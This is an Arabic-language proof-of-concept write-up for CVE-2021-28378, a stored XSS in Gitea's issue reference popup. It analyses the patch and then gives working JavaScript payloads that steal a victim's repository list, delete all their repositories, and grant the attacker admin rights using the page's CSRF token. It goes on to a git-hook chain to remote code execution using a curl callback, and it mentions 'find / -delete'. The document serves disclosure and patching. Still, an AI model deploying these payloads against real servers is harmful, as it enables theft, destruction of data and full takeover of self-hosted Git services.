
إثبات مفهوم وتحليل مفصل لـ CVE-2021-28378، وهي ثغرة XSS مخزنة في Gitea تتيح حقن التعليمات البرمجية التعسفي وتصعيد الامتيازات وتنفيذ التعليمات البرمجية عن بُعد عبر خطافات git.
تفاصيل حول هذا CVE هنا.
يستهدف هذا CVE غياب تهريب السلاسل (string escaping) في جانب العميل للمحتوى الذي يتم جلبه من الخادم. فهو يمكّن المهاجم من حقن كود تعسفي بسهولة، عن طريق إنشاء تعليق على issue أو pull request. تم تقديم هذا في commit 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5، في نهاية يناير 2020، ولكن بسبب squash لا يمكننا معرفة من فعل ذلك بالضبط للتحقيق في أخطاء مماثلة تم تقديمها.
أولاً، دعنا نفهم من أين تأتي هذه الثغرة. لهذا، دعنا نرى الـ commit الذي يصلح هذا CVE.
قبل:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
يمكننا أن نرى أنه لا يوجد أي تهريب HTML على label.name وissue.repository.full_name و و، وهي سلاسل يمكن للمستخدم التلاعب بها، وبالتالي حقن كود تعسفي.
لاحظ أن لا يمكن التلاعب به فعلياً لحقن كود لأنه يجب أن يتبع قواعد كثيرة جداً () لا يمكننا تجاوزها مع هذا CVE.
هذا بالضبط ما يصلحه الـ PR عن طريق تحويلها إلى .
issue.titlebodyissue.repository.full_name[\w._-]+htmlEscapeبعد:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
html: `
<div>
<p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
<p>${htmlEscape(body)}</p>
${labels}
</div>
`
دعنا نلقي نظرة سريعة على الملف web_src/js/features/contextpopup.js، لمعرفة كيفية تشغيل CVE.
...
const {AppSubUrl} = window.config;
export default function initContextPopups() {
const refIssues = $('.ref-issue');
if (!refIssues.length) return;
refIssues.each(function () {
const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
issuePopup(owner, repo, index, $(this));
});
}
function issuePopup(owner, repo, index, $element) {
$.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
for (let i = 0; i < issue.labels.length; i++) {
...
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
}
...
$element.popup({
variation: 'wide',
delay: {
show: 250
},
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
});
});
}
ما نراه هنا هو أنه لكل عقدة تحمل الكلاس ref-issue، سنضيف popup ضعيف.
الآن، نحتاج إلى إيجاد أين يتم إرسال ref-issue إلى المستخدم: دعنا نستخدم grep (ونحتفظ فقط بالنتائج المهمة، أي ليس ملفات الاختبار أو ما شابهها)!
رقم الـ commit التالي يقابل وسم 1.12.4، وهو الإصدار الافتراضي من ملف docker-compose.yml الرسمي، المتأثر بهذا CVE.
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go: link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go: sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")
نعلم الآن أنه لا يوجد محتوى ثابت يحمل الكلاس ref-issue، بل يتم إنشاؤه ديناميكياً.
النتيجة الأخيرة ليست مهمة لأنها مجرد قاعدة sanitizer policy. أما البقية فمهمة، وسنرى السبب.
دعنا نتعمق في modules/markup/html.go.
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
if ctx.metas == nil {
return
}
m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
if m == nil {
return
}
link := node.Data[m[0]:m[1]]
id := "#" + node.Data[m[2]:m[3]]
// extract repo and org name from matched link like
// http://localhost:3000/gituser/myrepo/issues/1
linkParts := strings.Split(path.Clean(link), "/")
matchOrg := linkParts[len(linkParts)-4]
matchRepo := linkParts[len(linkParts)-3]
if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
// TODO if m[4]:m[5] is not nil, then link is to a comment,
// and we should indicate that in the text somehow
replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
} else {
orgRepoID := matchOrg + "/" + matchRepo + id
replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
}
}
سنحتاج أيضاً إلى فهم ما يفعله getIssueFullPattern.
func getIssueFullPattern() *regexp.Regexp {
if issueFullPattern == nil {
appURL := setting.AppURL
if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
appURL += "/"
}
issueFullPattern = regexp.MustCompile(appURL +
`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
}
return issueFullPattern
}
دعنا نلخص لفهم المهمة المنجزة هناك.
في fullIssuePatternProcessor، نحتاج أولاً إلى التأكد من أن ctx.metas ليس nil (وهو ما نفترض أنه صحيح لأنه مبني بواسطة دوال/طرق أعلى في مكدس الاستدعاء).
ثم نتحقق مما إذا كانت بيانات العقدة تطابق مساراً مثل http://mygitea.com/gituser/myrepo/issues/1. إذا كان هناك تطابق، نستبدله برابط.
إذا كان الرابط يتعلق بنفس المستخدم والمستودع، نستبدله بنمط #<issue_id>، وإلا بـ <user>/<repo>#<issue_id>.
في كلتا الحالتين، لدينا كلاس ref-issue يُضاف لتوليد الـ popup.
نتائج grep الأخرى تقوم بنفس النوع من العمل.
الآن لدينا السياق، والذي يدور حول استبدال رابط مثل http://mygitea.com/gituser/myrepo/issues/1 برابط أقصر، يمكننا استنتاج أين تتم هذه المهمة: في issues و PR، حيث يمكنك إضافة label و/أو نشر تعليق.
لهذا، لنفترض أن لديك مستودعاً بصلاحيات كتابة.
انتقل إلى مستودعك، وأنشئ label جديد باسم يحتوي على كود تعسفي (مثل <script>alert('label.name')</script>).
انتقل إلى issues مستودعك، وأنشئ issue جديد بكود تعسفي في العنوان والنص، وأضف إليه الـ label السابق.
أنشئ issue جديد في أي مستودع، وأضف في نصه رابطاً إلى الـ issue المحقون لديك مثل http://mygitea.com/gituser/myrepo/issues/1.
سيتم استبداله بالرابط الذي رأيناه سابقاً، وعندما يمرر شخص ما مؤشر الفأرة فوق الرابط، سيتم تنفيذ الكود التعسفي: سيتم عرض popup يضم label.name.
ثبت أن CVE-2021-28378 قادر على تمكين حقن كود تعسفي. دعنا نتخيل ما يمكن أن يفعله المهاجم.
في Gitea، لديك رمز CSRF يؤكد هويتك عند ملء النماذج و/أو استدعاء API، مما يمنع مشاكل أمنية مثل تضمين iframe من Gitea لسرقة وصولاتك.
رمز CSRF مخزّن في ملفات تعريف الارتباط الخاصة بك (_csrf)، وكذلك في معظم صفحات الويب (باستثناء بعضها مثل /api/v1/swagger) التي يزورها المستخدم ضمن بعض الحقول... وهكذا في صفحات issues/PR.
الحقل الأكثر إثارة للاهتمام الذي يحتوي عليه موجود داخل الجزء المشترك من ترويسة صفحات HTML، دائمًا بنفس XPath: /html/head/meta[9].
بهذه البيانات، يمكننا الآن إرسال إجراءات موثقة من أي مستخدم متأثر بحمولتنا، بمجرد الحصول على رمز CSRF في JS، باستخدام ما يلي: (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content.
الآن، حان وقت استخدام إبداعك لبناء هجمات متنوعة. لاحظ أنك ستكون محدوداً في أفعالك، ولكن ليس كثيراً:
label.name وissue.title قصيرين، وبالتالي لن تناسب الكثير من الحمولات. ومع ذلك، يمكنك حقن script مع خاصية src تشير إلى أي سكربت تريده؛body غير محدود الطول، لكن معاينة الـ popup تحد من معاينة البيانات. سيتعين أن تكون حمولتك في البداية إذا أردت أن يتم تشغيلها. ومع ذلك، يمكنك القيام كما هو محدد سابقاً باستخدام script وخاصية src.دعنا نلقي نظرة على بعض الأمثلة التي يمكنك بناؤها.
تخيل السيناريو حيث يريد مهاجم الحصول على جميع المستودعات التي لديك صلاحية الوصول إليها. هذا يثبت أن الهجوم يمكن أن يكسر كل سرية بياناتك. يتم هذا الهجوم في 3 خطوات:
دعنا نكتب بعض كود JS للقيام بذلك:
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
}
}
xhrGet.send(null);
ضع هذه الحمولة في ملف خاص بها، ارفعه في مستودعك واحقنه في نص issue باستخدام شيء مثل <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
الآن يمكن للمهاجم التعليق على issue/PR يشير إلى هذا الـ issue المحقون، وعندما يمرر شخص ما مؤشر الفأرة فوق الرابط، ستُسرق جميع بيانات مستودعاته من قبل المهاجم!
تخيل السيناريو حيث يريد مهاجم حذف جميع المستودعات التي لديك صلاحية الوصول إليها. هذا يثبت أن الهجوم يمكن أن يكسر كل تكامل بياناتك. يتم هذا الهجوم في 3 خطوات:
دعنا نكتب بعض كود JS للقيام بذلك:
var AppURL = "http://mygitea.com";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
data = xhrGet.response.data;
data.forEach(repo => {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", repo.html_url + "/settings", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
});
}
}
xhrGet.send(null);
ضع هذه الحمولة في ملف خاص بها، ارفعه في مستودعك واحقنه في نص issue باستخدام شيء مثل <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
الآن يمكن للمهاجم التعليق على issue/PR يشير إلى هذا الـ issue المحقون، وعندما يمرر شخص ما مؤشر الفأرة فوق المرجع، سيتم حذف جميع المستودعات التي لديه صلاحية الوصول إليها!
تخيل السيناريو حيث يريد مهاجم الحصول على صلاحيات المدير. هذا يثبت أن تصعيد الامتيازات ممكن. يتم هذا الهجوم في خطوتين:
دعنا نكتب بعض كود JS للقيام بذلك:
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");
لاحظ أن قيمة login_type يمكن أن تتغير وفقاً لإصدار Gitea الخاص بك وطريقة تعامل نسختك مع تسجيل الدخول.
ضع هذه الحمولة في ملف خاص بها، ارفعه في مستودعك واحقنه في نص issue باستخدام شيء مثل <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
الآن يمكن للمهاجم التعليق على issue/PR يشير إلى هذا الـ issue المحقون، وعندما يمرر شخص لديه صلاحيات كافية مؤشر الفأرة فوق المرجع، يحصل المهاجم على صلاحيات المدير! يمكنه أيضاً تعيين الـ issue لمدير، أو إنشاء الـ issue في مستودع يراقبه مدير (وبالتالي سيحصل على إشعار) لزيادة فرصه.
الجزء """الأكثر تسلية""" مع Gitea هو أن الاعتبارات الأمنية لم تكن جزءاً من العملية، من خلال تنفيذ git hooks. إنها على الأرجح واحدة من أسوأ الأفكار التي يمكنك تنفيذها.
بمجرد حصولك على صلاحيات المدير، يمكنك أن تمنح نفسك امتياز إدارة git hooks (وهو ما يتم تحقيقه بالحمولة السابقة). تابع كما تفعل وحدة Metasploit الخاصة بـ Gitea Git Hooks Remote Code Execution:
post-receive؛للتأكد من أن RCE هذا صالح، دعنا نضع ما يلي، مع id صالح.
#!/bin/bash
curl https://requestbin.net/r/<id>
في لوحة فحص RequestBin، بعد أن نرسل ملفاً يشغّل git hook post-receive، نرى أنه تم تنفيذ طلب مع User-Agent: curl/<version> مما يثبت أنه RCE صالح.
لاحظ أن هذه الوظيفة تعني أنه لكل XSS يمكن تشغيلها بواسطة مدير، طالما كانت قيمة _csrf مضمّنة في معظم صفحات الويب، يمكنك الحصول على RCE على Gitea.
قم بتحديثاتك وفقاً للإصدارات المتأثرة بـ CVE (راجع التقرير الرسمي). وقت كتابة هذا: 1.12.0 إلى 1.13.4 (مستبعد).
فيما يلي قائمة بالإصدارات المتأثرة وحالة اختبارها. لاحظ أنه لإصدارات 1.13.X، سيتعين عليك إضافة DISABLE_GIT_HOOKS = false في ملف app.ini ضمن قسم [security]، والذي قد يكون موجوداً في data/gitea/conf/app.ini، اعتماداً على مكان مجلد البيانات لديك (بالنسبة لملف docker-compose.yml الموثق على DockerHub، سيكون في نفس المجلد).
| Version | XSS | RCE |
|---|---|---|
| 1.12.0 | ✅ | ✅ |
| 1.12.1 | ✅ | ✅ |
| 1.12.2 | ✅ | ✅ |
| 1.12.3 | ✅ | ✅ |
| 1.12.4 | ✅ | ✅ |
| 1.12.5 | ✅ | ✅ |
| 1.12.6 | ✅ | ✅ |
| 1.13.0 | ✅ | ✅ |
| 1.13.1 | ✅ | ✅ |
| 1.13.2 | ✅ | ✅ |
| 1.13.3 | ✅ | ✅ |
✅: ثبت أنه يعمل ; ❓: يحتاج اختبارات ; ❌: ثبت أنه لا يعمل
هذه الورقة مصممة لإرشاد القارئ إلى حساب الدرجة: الغرض منها فقط مناقشة التقييم، ولا ينبغي اعتبارها أمراً.
| Metric | Value | Explanation |
|---|---|---|
| AV | Network | يستخدم HTTP للتفاعل. |
| AC | Low | يحتاج فقط إلى issue (افتراضياً على Gitea من السهل جداً فتح واحد لأنه مفعل للجميع) أو pull request. |
| PR | Low | في معظم السياقات يحتاج حساباً لإنشاء issue (افتراضياً، يمكنك تسجيل حسابات جديدة). جميع الحسابات يمكنها إنشاء issue على مستودع للقراءة فقط، باستثناء حالة تكوين المستودع لمنع issues (وهو ليس الإعداد الافتراضي ونادراً ما يتم تعديله). |
| UI | Required | يجب على مستخدم أو مدير تمرير مؤشر الفأرة فوق الرابط المصاب لتشغيل حمولة. |
| S | Changed | مع RCE، لديك وصول إلى الجهاز المضيف وبالتالي الخدمات المتجاورة. |
| C | High | بمجرد حصولك على صلاحيات المدير، يمكنك إدارة كل شيء حتى لو تم تكوينه كخاص. أنت قادر على سرقة بيانات اعتماد قاعدة البيانات، والاتصال بها باستخدام RCE واستخراج البيانات. مع RCE، يمكنك قراءة نظام الملفات مباشرة، حيث لا يتم تنفيذ أي فحوصات مصادقة/تفويض من قبل Gitea. |
| I | High | بمجرد حصولك على صلاحيات المدير، يمكنك تعديل الصلاحيات والرؤية وتغيير كود المستودع، وحتى حذف المستودع. مع RCE، أنت حر في الغوص في كل شيء وبالتالي التأثير على تكامل المستخدمين والملفات... |
| A | High | بالنظر إلى RCE، يمكنك ببساطة حذف نظام الملفات بالكامل باستخدام find / -delete، مما يسبب خسارة كاملة للتوافر. |
| E | High | بالنظر إلى السكربت exploit.py، يمكنك بسهولة استغلال الثغرة، من حساب بسيط إلى reverse shell كجذر. |
| RL | Official Fix | تم الإصلاح بواسطة commit <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab>، الذي تم دمجه في master وبالتالي في Gitea 1.13.4. |
| RC | Confirmed | يؤكد هذا التقرير ويعرض استغلالات متعددة، من تحليل أصل XSS إلى مثال RCE وسكربت. |
سلسلة المتجهات: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C
| Metric group name | Score | Verbose |
|---|---|---|
| Base Score | 9.0 | حرج |
| Temporal Score | 8.6 | مرتفع |